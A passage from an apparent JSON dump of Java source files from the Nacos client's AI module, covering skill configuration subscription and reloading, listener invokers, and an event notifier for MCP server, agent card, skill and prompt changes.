SkillConfigListener(skillName, true, null);\n        try {\n            configService.addListener(mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), mainConfigListener);\n            subscriptionInfo.setMainConfigListener(mainConfigListener);\n        } catch (NacosException e) {\n            LOGGER.warn(\"Failed to add listener for main config: skillName={}, error={}\", skillName, e.getMessage());\n        }\n        \n        // Add listeners for all resource configs\n        if (skill != null && skill.getResource() != null && !skill.getResource().isEmpty()) {\n            // Load main config to get resourceId mapping\n            SkillMainConfig mainConfig = loadMainConfig(skillName, mainConfigInfo.getGroup());\n            if (mainConfig != null && mainConfig.getResources() != null && !mainConfig.getResources().isEmpty()) {\n                for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                    // Generate resourceId from type and name\n                    String resourceId = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n                    \n                    // Build resource config info using resourceRef\n                    SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                            skillName, resourceRef.getType(), resourceRef.getName());\n                    Listener resourceListener = new SkillConfigListener(skillName, false, resourceId);\n                    try {\n                        configService.addListener(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), resourceListener);\n                        subscriptionInfo.getResourceListeners().put(resourceId, resourceListener);\n                    } catch (NacosException e) {\n                        LOGGER.warn(\"Failed to add listener for resource config: skillName={}, resourceId={}, error={}\",\n                                skillName, resourceId, e.getMessage());\n                    }\n                }\n            }\n        }\n        \n        // Cache skill and subscription info\n        if (skill != null) {\n            skillCache.put(skillName, skill);\n        }\n        subscriptionMap.put(skillName, subscriptionInfo);\n        \n        LOGGER.info(\"Subscribed skill: {}\", skillName);\n        return skill;\n    }\n    \n    /**\n     * Unsubscribe skill and remove all listeners.\n     *\n     * @param skillName name of skill\n     */\n    public void unsubscribeSkill(String skillName) {\n        if (StringUtils.isBlank(skillName)) {\n            return;\n        }\n        \n        SkillSubscriptionInfo subscriptionInfo = subscriptionMap.remove(skillName);\n        if (subscriptionInfo == null) {\n            return;\n        }\n        \n        // Build main config info\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        \n        // Remove main config listener\n        if (subscriptionInfo.getMainConfigListener() != null) {\n            try {\n                configService.removeListener(mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), \n                        subscriptionInfo.getMainConfigListener());\n            } catch (Exception e) {\n                LOGGER.warn(\"Failed to remove listener for main config: skillName={}, error={}\", skillName, e.getMessage());\n            }\n        }\n        \n        // Remove all resource config listeners\n        // Note: We need to load mainConfig to get resourceRef info for building ConfigInfo\n        SkillMainConfig mainConfig = loadMainConfig(skillName, mainConfigInfo.getGroup());\n        if (mainConfig != null && mainConfig.getResources() != null) {\n            Map<String, SkillResourceRef> resourceRefMap = new HashMap<>(\n                    mainConfig.getResources().size() > 0 ? (int) (mainConfig.getResources().size() / 0.75f + 1) : 16);\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                String resourceId = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n                resourceRefMap.put(resourceId, resourceRef);\n            }\n            for (Map.Entry<String, Listener> entry : subscriptionInfo.getResourceListeners().entrySet()) {\n                String resourceId = entry.getKey();\n                Listener listener = entry.getValue();\n                SkillResourceRef resourceRef = resourceRefMap.get(resourceId);\n                if (resourceRef != null) {\n                    SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                            skillName, resourceRef.getType(), resourceRef.getName());\n                    try {\n                        configService.removeListener(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), listener);\n                    } catch (Exception e) {\n                        LOGGER.warn(\"Failed to remove listener for resource config: skillName={}, resourceId={}, error={}\",\n                                skillName, resourceId, e.getMessage());\n                    }\n                }\n            }\n        }\n        \n        // Clear cache\n        skillCache.remove(skillName);\n        \n        LOGGER.info(\"Unsubscribed skill: {}\", skillName);\n    }\n    \n    /**\n     * Load skill from configuration.\n     *\n     * @param skillName name of skill\n     * @return Skill object, nullable if skill not found\n     */\n    private Skill loadSkill(String skillName) {\n        // Build main config info\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        \n        // Load main config\n        SkillMainConfig mainConfig = loadMainConfig(skillName, mainConfigInfo.getGroup());\n        if (mainConfig == null) {\n            return null;\n        }\n        \n        // Build Skill object\n        Skill skill = new Skill();\n        skill.setNamespaceId(this.namespaceId);\n        skill.setName(mainConfig.getName());\n        skill.setDescription(mainConfig.getDescription());\n        skill.setInstruction(mainConfig.getInstruction());\n        \n        // Query all Resource configs\n        Map<String, SkillResource> resourceMap = new HashMap<>(\n                mainConfig.getResources() != null ? mainConfig.getResources().size() : 16);\n        if (mainConfig.getResources() != null && !mainConfig.getResources().isEmpty()) {\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                // Generate resourceId from type and name\n                String resourceId = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n                \n                // Query resource config using resourceRef info\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                String resourceContent;\n                try {\n                    resourceContent = configService.getConfig(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), 3000);\n                } catch (NacosException e) {\n                    LOGGER.warn(\"Resource configuration not found: dataId={}, group={}, error={}\",\n                            resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), e.getMessage());\n                    continue;\n                }\n                \n                if (StringUtils.isNotBlank(resourceContent)) {\n                    try {\n                        SkillResource resource = JacksonUtils.toObj(resourceContent, SkillResource.class);\n                        // Use resource name as key (from resource object, not resourceId)\n                        resourceMap.put(resource.getName() != null ? resource.getName() : resourceId, resource);\n                    } catch (Exception e) {\n                        LOGGER.warn(\"Failed to parse resource configuration: dataId={}, group={}, error={}\",\n                                resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), e.getMessage());\n                    }\n                }\n            }\n        }\n        skill.setResource(resourceMap);\n        \n        return skill;\n    }\n    \n    /**\n     * Load main config from configuration.\n     *\n     * @param skillName name of skill\n     * @param skillGroup group of skill\n     * @return SkillMainConfig object, nullable if not found\n     */\n    private SkillMainConfig loadMainConfig(String skillName, String skillGroup) {\n        // Query main config (skill.json)\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        String mainConfigContent;\n        try {\n            mainConfigContent = configService.getConfig(mainConfigInfo.getDataId(), skillGroup, 3000);\n        } catch (NacosException e) {\n            LOGGER.warn(\"Skill main configuration not found: skillName={}, error={}\", skillName, e.getMessage());\n            return null;\n        }\n        \n        if (StringUtils.isBlank(mainConfigContent)) {\n            LOGGER.warn(\"Skill main configuration is blank: skillName={}\", skillName);\n            return null;\n        }\n        \n        // Parse main config\n        try {\n            return JacksonUtils.toObj(mainConfigContent, SkillMainConfig.class);\n        } catch (Exception e) {\n            LOGGER.warn(\"Failed to parse skill main configuration: skillName={}, error={}\", skillName, e.getMessage());\n            return null;\n        }\n    }\n    \n    /**\n     * Reload skill and check for changes.\n     *\n     * @param skillName name of skill\n     */\n    private void reloadSkill(String skillName) {\n        try {\n            SkillSubscriptionInfo subscriptionInfo = subscriptionMap.get(skillName);\n            if (subscriptionInfo == null) {\n                return;\n            }\n            \n            Skill oldSkill = subscriptionInfo.getCurrentSkill();\n            Skill newSkill = loadSkill(skillName);\n            \n            if (isSkillChanged(oldSkill, newSkill)) {\n                LOGGER.info(\"Skill {} changed.\", skillName);\n                subscriptionInfo.setCurrentSkill(newSkill);\n                if (newSkill != null) {\n                    skillCache.put(skillName, newSkill);\n                } else {\n                    skillCache.remove(skillName);\n                }\n                \n                // Update resource listeners if resource list changed\n                updateResourceListeners(skillName, oldSkill, newSkill);\n                \n                // Publish change event\n                NotifyCenter.publishEvent(new SkillChangedEvent(skillName, newSkill));\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"Failed to reload skill: skillName={}, error={}\", skillName, e.getMessage(), e);\n        }\n    }\n    \n    /**\n     * Update resource listeners based on resource list changes.\n     *\n     * @param skillName name of skill\n     * @param oldSkill  old skill object\n     * @param newSkill  new skill object\n     */\n    private void updateResourceListeners(String skillName, Skill oldSkill, Skill newSkill) {\n        SkillSubscriptionInfo subscriptionInfo = subscriptionMap.get(skillName);\n        if (subscriptionInfo == null) {\n            return;\n        }\n        \n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        \n        // Load main configs to get resourceId mappings\n        SkillMainConfig oldMainConfig = oldSkill != null ? loadMainConfig(skillName, mainConfigInfo.getGroup()) : null;\n        SkillMainConfig newMainConfig = newSkill != null ? loadMainConfig(skillName, mainConfigInfo.getGroup()) : null;\n        \n        int oldResourceSize = oldMainConfig != null && oldMainConfig.getResources() != null \n                ? oldMainConfig.getResources().size() : 0;\n        int newResourceSize = newMainConfig != null && newMainConfig.getResources() != null \n                ? newMainConfig.getResources().size() : 0;\n        \n        Set<String> oldResourceIds = new HashSet<>(oldResourceSize > 0 ? (int) (oldResourceSize / 0.75f + 1) : 16);\n        Map<String, SkillResourceRef> oldResourceRefMap = new HashMap<>(\n                oldResourceSize > 0 ? (int) (oldResourceSize / 0.75f + 1) : 16);\n        if (oldMainConfig != null && oldMainConfig.getResources() != null) {\n            for (SkillResourceRef ref : oldMainConfig.getResources()) {\n                String resourceId = SkillUtils.generateResourceId(ref.getType(), ref.getName());\n                oldResourceIds.add(resourceId);\n                oldResourceRefMap.put(resourceId, ref);\n            }\n        }\n        Set<String> newResourceIds = new HashSet<>(newResourceSize > 0 ? (int) (newResourceSize / 0.75f + 1) : 16);\n        Map<String, SkillResourceRef> newResourceRefMap = new HashMap<>(\n                newResourceSize > 0 ? (int) (newResourceSize / 0.75f + 1) : 16);\n        if (newMainConfig != null && newMainConfig.getResources() != null) {\n            for (SkillResourceRef ref : newMainConfig.getResources()) {\n                String resourceId = SkillUtils.generateResourceId(ref.getType(), ref.getName());\n                newResourceIds.add(resourceId);\n                newResourceRefMap.put(resourceId, ref);\n            }\n        }\n        \n        // Remove listeners for deleted resources\n        Set<String> toRemove = new HashSet<>(oldResourceIds);\n        toRemove.removeAll(newResourceIds);\n        for (String resourceId : toRemove) {\n            Listener listener = subscriptionInfo.getResourceListeners().remove(resourceId);\n            if (listener != null) {\n                SkillResourceRef resourceRef = oldResourceRefMap.get(resourceId);\n                if (resourceRef != null) {\n                    SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                            skillName, resourceRef.getType(), resourceRef.getName());\n                    try {\n                        configService.removeListener(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), listener);\n                    } catch (Exception e) {\n                        LOGGER.warn(\"Failed to remove listener for deleted resource: skillName={}, resourceId={}, error={}\",\n                                skillName, resourceId, e.getMessage());\n                    }\n                }\n            }\n        }\n        \n        // Add listeners for new resources\n        Set<String> toAdd = new HashSet<>(newResourceIds);\n        toAdd.removeAll(oldResourceIds);\n        for (String resourceId : toAdd) {\n            SkillResourceRef resourceRef = newResourceRefMap.get(resourceId);\n            if (resourceRef != null) {\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                Listener resourceListener = new SkillConfigListener(skillName, false, resourceId);\n                try {\n                    configService.addListener(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), resourceListener);\n                    subscriptionInfo.getResourceListeners().put(resourceId, resourceListener);\n                } catch (NacosException e) {\n                    LOGGER.warn(\"Failed to add listener for new resource: skillName={}, resourceId={}, error={}\",\n                            skillName, resourceId, e.getMessage());\n                }\n            }\n        }\n    }\n    \n    /**\n     * Check if skill has changed by comparing JSON serialization.\n     *\n     * @param oldSkill old skill object\n     * @param newSkill new skill object\n     * @return true if changed, false otherwise\n     */\n    private boolean isSkillChanged(Skill oldSkill, Skill newSkill) {\n        try {\n            String newJson = objectMapper.writeValueAsString(newSkill);\n            if (null == oldSkill) {\n                LOGGER.info(\"init new skill: {} -> {}\", newSkill != null ? newSkill.getName() : \"null\", newJson);\n                return true;\n            }\n            String oldJson = objectMapper.writeValueAsString(oldSkill);\n            if (!StringUtils.equals(oldJson, newJson)) {\n                LOGGER.info(\"skill changed: {} -> {}\", oldJson, newJson);\n                return true;\n            }\n        } catch (JsonProcessingException e) {\n            LOGGER.error(\"Compare skill info failed: \", e);\n        }\n        return false;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        // Unsubscribe all skills\n        Set<String> skillNames = new HashSet<>(subscriptionMap.keySet());\n        for (String skillName : skillNames) {\n            unsubscribeSkill(skillName);\n        }\n    }\n    \n    /**\n     * Skill configuration listener.\n     */\n    private class SkillConfigListener implements Listener {\n        \n        private final String skillName;\n        \n        private final boolean isMainConfig;\n        \n        private final String resourceName;\n        \n        public SkillConfigListener(String skillName, boolean isMainConfig, String resourceName) {\n            this.skillName = skillName;\n            this.isMainConfig = isMainConfig;\n            this.resourceName = resourceName;\n        }\n        \n        @Override\n        public Executor getExecutor() {\n            return null;\n        }\n        \n        @Override\n        public void receiveConfigInfo(String configInfo) {\n            LOGGER.info(\"Skill configuration changed: skillName={}, isMainConfig={}, resourceName={}\",\n                    skillName, isMainConfig, resourceName);\n            // Reload skill when any configuration changes\n            reloadSkill(skillName);\n        }\n    }\n    \n    /**\n     * Skill subscription information.\n     */\n    private static class SkillSubscriptionInfo {\n        \n        private final String skillName;\n        \n        private Listener mainConfigListener;\n        \n        private final Map<String, Listener> resourceListeners;\n        \n        private Skill currentSkill;\n        \n        public SkillSubscriptionInfo(String skillName) {\n            this.skillName = skillName;\n            this.resourceListeners = new ConcurrentHashMap<>();\n        }\n        \n        public String getSkillName() {\n            return skillName;\n        }\n        \n        public Listener getMainConfigListener() {\n            return mainConfigListener;\n        }\n        \n        public void setMainConfigListener(Listener mainConfigListener) {\n            this.mainConfigListener = mainConfigListener;\n        }\n        \n        public Map<String, Listener> getResourceListeners() {\n            return resourceListeners;\n        }\n        \n        public Skill getCurrentSkill() {\n            return currentSkill;\n        }\n        \n        public void setCurrentSkill(Skill currentSkill) {\n            this.currentSkill = currentSkill;\n        }\n    }\n    \n    /**\n     * Skill main config (from skill.json).\n     */\n    private static class SkillMainConfig {\n        private String name;\n        private String description;\n        private String instruction;\n        private List<SkillResourceRef> resources;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getDescription() {\n            return description;\n        }\n        \n        public void setDescription(String description) {\n            this.description = description;\n        }\n        \n        public String getInstruction() {\n            return instruction;\n        }\n        \n        public void setInstruction(String instruction) {\n            this.instruction = instruction;\n        }\n        \n        public List<SkillResourceRef> getResources() {\n            return resources;\n        }\n        \n        public void setResources(List<SkillResourceRef> resources) {\n            this.resources = resources;\n        }\n    }\n    \n    /**\n     * Skill resource reference (in skill.json).\n     */\n    private static class SkillResourceRef {\n        private String name;\n        private String type;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getType() {\n            return type;\n        }\n        \n        public void setType(String type) {\n            this.type = type;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/AbstractAiListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.NacosAiEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosAiListener;\nimport com.alibaba.nacos.client.selector.ListenerInvoker;\n\nimport java.util.Objects;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Nacos AI module abstract ai listener invoker.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractAiListenerInvoker<E extends NacosAiEvent, L extends NacosAiListener<E>>\n        implements ListenerInvoker<E> {\n    \n    protected final L listener;\n    \n    private final AtomicBoolean invoked = new AtomicBoolean(false);\n    \n    public AbstractAiListenerInvoker(L listener) {\n        this.listener = listener;\n    }\n    \n    @Override\n    public void invoke(E event) {\n        invoked.set(true);\n        logInvoke(event);\n        if (listener.getExecutor() != null) {\n            listener.getExecutor().execute(() -> listener.onEvent(event));\n        } else {\n            listener.onEvent(event);\n        }\n    }\n    \n    /**\n     * log invoker be invoked.\n     *\n     * @param event event\n     */\n    protected abstract void logInvoke(E event);\n    \n    @Override\n    public boolean isInvoked() {\n        return invoked.get();\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        \n        if (this == o) {\n            return true;\n        }\n        \n        AbstractAiListenerInvoker that = (AbstractAiListenerInvoker) o;\n        return Objects.equals(listener, that.listener);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hashCode(listener);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/AgentCardChangedEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Nacos AI module agent card changed event in nacos- client.\n *\n * @author xiweng.yy\n */\npublic class AgentCardChangedEvent extends Event {\n    \n    private static final long serialVersionUID = 2010793364377243018L;\n    \n    private final String agentName;\n    \n    private final String version;\n    \n    private final AgentCardDetailInfo agentCard;\n    \n    public AgentCardChangedEvent(AgentCardDetailInfo agentCard) {\n        this.agentCard = agentCard;\n        this.agentName = agentCard.getName();\n        this.version = buildVersion(agentCard);\n    }\n    \n    private String buildVersion(AgentCardDetailInfo agentCard) {\n        if (null == agentCard.isLatestVersion() || agentCard.isLatestVersion()) {\n            return CacheKeyUtils.LATEST_VERSION;\n        }\n        return agentCard.getVersion();\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public AgentCardDetailInfo getAgentCard() {\n        return agentCard;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/AgentCardListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosAgentCardListener;\nimport com.alibaba.nacos.api.ai.listener.NacosAgentCardEvent;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Nacos AI module agent card listener invoker.\n *\n * @author xiweng.yy\n */\npublic class AgentCardListenerInvoker\n        extends AbstractAiListenerInvoker<NacosAgentCardEvent, AbstractNacosAgentCardListener> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AgentCardListenerInvoker.class);\n    \n    public AgentCardListenerInvoker(AbstractNacosAgentCardListener listener) {\n        super(listener);\n    }\n    \n    protected void logInvoke(NacosAgentCardEvent event) {\n        LOGGER.info(\"Invoke event agentName: {} to Listener: {}\", event.getAgentName(), listener.toString());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/AiChangeNotifier.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.NacosAgentCardEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosPromptEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosSkillEvent;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Nacos AI module mcp server change notifier.\n *\n * @author xiweng.yy\n */\npublic class AiChangeNotifier extends SmartSubscriber {\n    \n    private final Map<String, Set<McpServerListenerInvoker>> mcpServerListenerInvokers;\n    \n    private final Map<String, Set<AgentCardListenerInvoker>> agentCardListenerInvokers;\n    \n    private final Map<String, Set<SkillListenerInvoker>> skillListenerInvokers;\n    \n    private final Map<String, Set<PromptListenerInvoker>> promptListenerInvokers;\n    \n    public AiChangeNotifier() {\n        this.mcpServerListenerInvokers = new ConcurrentHashMap<>(2);\n        this.agentCardListenerInvokers = new ConcurrentHashMap<>(2);\n        this.skillListenerInvokers = new ConcurrentHashMap<>(2);\n        this.promptListenerInvokers = new ConcurrentHashMap<>(2);\n    }\n    \n    @Override\n    public void onEvent(Event event) {\n        if (event instanceof McpServerChangedEvent) {\n            handleMcpServerChangedEvent((McpServerChangedEvent) event);\n        } else if (event instanceof AgentCardChangedEvent) {\n            handleAgentCardChangedEvent((AgentCardChangedEvent) event);\n        } else if (event instanceof SkillChangedEvent) {\n            handleSkillChangedEvent((SkillChangedEvent) event);\n        } else if (event instanceof PromptChangedEvent) {\n            handlePromptChangedEvent((PromptChangedEvent) event);\n        }\n    }\n    \n    private void handleMcpServerChangedEvent(McpServerChangedEvent event) {\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(event.getMcpName(), event.getVersion());\n        if (!isSubscribed(mcpServerKey, mcpServerListenerInvokers)) {\n            return;\n        }\n        NacosMcpServerEvent notifiedEvent = new NacosMcpServerEvent(event.getMcpServer());\n        for (McpServerListenerInvoker each : mcpServerListenerInvokers.get(mcpServerKey)) {\n            each.invoke(notifiedEvent);\n        }\n    }\n    \n    private void handleAgentCardChangedEvent(AgentCardChangedEvent event) {\n        String agentCardKey = CacheKeyUtils.buildAgentCardKey(event.getAgentName(), event.getVersion());\n        if (!isSubscribed(agentCardKey, agentCardListenerInvokers)) {\n            return;\n        }\n        NacosAgentCardEvent notifiedEvent = new NacosAgentCardEvent(event.getAgentCard());\n        for (AgentCardListenerInvoker each : agentCardListenerInvokers.get(agentCardKey)) {\n            each.invoke(notifiedEvent);\n        }\n    }\n    \n    private void handleSkillChangedEvent(SkillChangedEvent event) {\n        String skillKey = CacheKeyUtils.buildSkillKey(event.getSkillName());\n        if (!isSubscribed(skillKey, skillListenerInvokers)) {\n            return;\n        }\n        NacosSkillEvent notifiedEvent = new NacosSkillEvent(event.getSkillName(), event.getSkill());\n        for (SkillListenerInvoker each : skillListenerInvokers.get(skillKey)) {\n            each.invoke(notifiedEvent);\n        }\n    }\n    \n    private void handlePromptChangedEvent(PromptChangedEvent event) {\n        String promptCacheKey = event.getCacheKey();\n        if (!isSubscribed(promptCacheKey, promptListenerInvokers)) {\n            return;\n        }\n        NacosPromptEvent notifiedEvent = new NacosPromptEvent(event.getPromptKey(), event.getPrompt());\n        for (PromptListenerInvoker each : promptListenerInvokers.get(promptCacheKey)) {\n            each.invoke(notifiedEvent);\n        }\n    }\n    \n    @Override\n    public List<Class<? extends Event>> subscribeTypes() {\n        List<Class<? extends Event>> listenedEventTypes = new LinkedList<>();\n        listenedEventTypes.add(McpServerChangedEvent.class);\n        listenedEventTypes.add(AgentCardChangedEvent.class);\n        listenedEventTypes.add(SkillChangedEvent.class);\n        listenedEventTypes.add(PromptChangedEvent.class);\n        return listenedEventTypes;\n    }\n    \n    /**\n     * register mcp server listener.\n     *\n     * @param mcpName           name of mcp server\n     * @param version           version of mcp server\n     * @param listenerInvoker   listener invoker\n     */\n    public void registerListener(String mcpName, String version, McpServerListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        mcpServerListenerInvokers.compute(mcpServerKey, (key, mcpServerListenerInvokers) -> {\n            if (null == mcpServerListenerInvokers) {\n                mcpServerListenerInvokers = new ConcurrentHashSet<>();\n            }\n            mcpServerListenerInvokers.add(listenerInvoker);\n            return mcpServerListenerInvokers;\n        });\n    }\n    \n    /**\n     * register agent card listener.\n     *\n     * @param agentName         name of agent card\n     * @param version           version of agent card\n     * @param listenerInvoker   listener invoker\n     */\n    public void registerListener(String agentName, String version, AgentCardListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String agentCardKey = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        agentCardListenerInvokers.compute(agentCardKey, (key, agentCardListenerInvokers) -> {\n            if (null == agentCardListenerInvokers) {\n                agentCardListenerInvokers = new ConcurrentHashSet<>();\n            }\n            agentCardListenerInvokers.add(listenerInvoker);\n            return agentCardListenerInvokers;\n        });\n    }\n    \n    /**\n     * register skill listener.\n     *\n     * @param skillName         name of skill\n     * @param listenerInvoker   listener invoker\n     */\n    public void registerListener(String skillName, SkillListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String skillKey = CacheKeyUtils.buildSkillKey(skillName);\n        skillListenerInvokers.compute(skillKey, (key, skillListenerInvokers) -> {\n            if (null == skillListenerInvokers) {\n                skillListenerInvokers = new ConcurrentHashSet<>();\n            }\n            skillListenerInvokers.add(listenerInvoker);\n            return skillListenerInvokers;\n        });\n    }\n    \n    /**\n     * register prompt listener.\n     *\n     * @param promptKey       prompt key\n     * @param listenerInvoker listener invoker\n     */\n    public void registerListener(String promptKey, String version, String label, PromptListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String key = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        promptListenerInvokers.compute(key, (k, promptListenerInvokers) -> {\n            if (null == promptListenerInvokers) {\n                promptListenerInvokers = new ConcurrentHashSet<>();\n            }\n            promptListenerInvokers.add(listenerInvoker);\n            return promptListenerInvokers;\n        });\n    }\n    \n    /**\n     * deregister mcp server listener.\n     *\n     * @param mcpName           name of mcp server\n     * @param version           version of mcp server\n     * @param listenerInvoker   listener invoker\n     */\n    public void deregisterListener(String mcpName, String version, McpServerListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        mcpServerListenerInvokers.compute(mcpServerKey, (key, mcpServerListenerInvokers) -> {\n            if (null == mcpServerListenerInvokers) {\n                return null;\n            }\n            mcpServerListenerInvokers.remove(listenerInvoker);\n            return mcpServerListenerInvokers.isEmpty() ? null : mcpServerListenerInvokers;\n        });\n    }\n    \n    /**\n     * deregister agent card listener.\n     *\n     * @param agentName         name of agent card\n     * @param version           version of agent card\n     * @param listenerInvoker   listener invoker\n     */\n    public void deregisterListener(String agentName, String version, AgentCardListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String agentCardKey = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        agentCardListenerInvokers.compute(agentCardKey, (key, agentCardListenerInvokers) -> {\n            if (null == agentCardListenerInvokers) {\n                return null;\n            }\n            agentCardListenerInvokers.remove(listenerInvoker);\n            return agentCardListenerInvokers.isEmpty() ? null : agentCardListenerInvokers;\n        });\n    }\n    \n    /**\n     * deregister skill listener.\n     *\n     * @param skillName         name of skill\n     * @param listenerInvoker   listener invoker\n     */\n    public void deregisterListener(String skillName, SkillListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String skillKey = CacheKeyUtils.buildSkillKey(skillName);\n        skillListenerInvokers.compute(skillKey, (key, skillListenerInvokers) -> {\n            if (null == skillListenerInvokers) {\n                return null;\n            }\n            skillListenerInvokers.remove(listenerInvoker);\n            return skillListenerInvokers.isEmpty() ? null : skillListenerInvokers;\n        });\n    }\n    \n    /**\n     * deregister prompt listener.\n     *\n     * @param promptKey       prompt key\n     * @param listenerInvoker listener invoker\n     */\n    public void deregisterListener(String 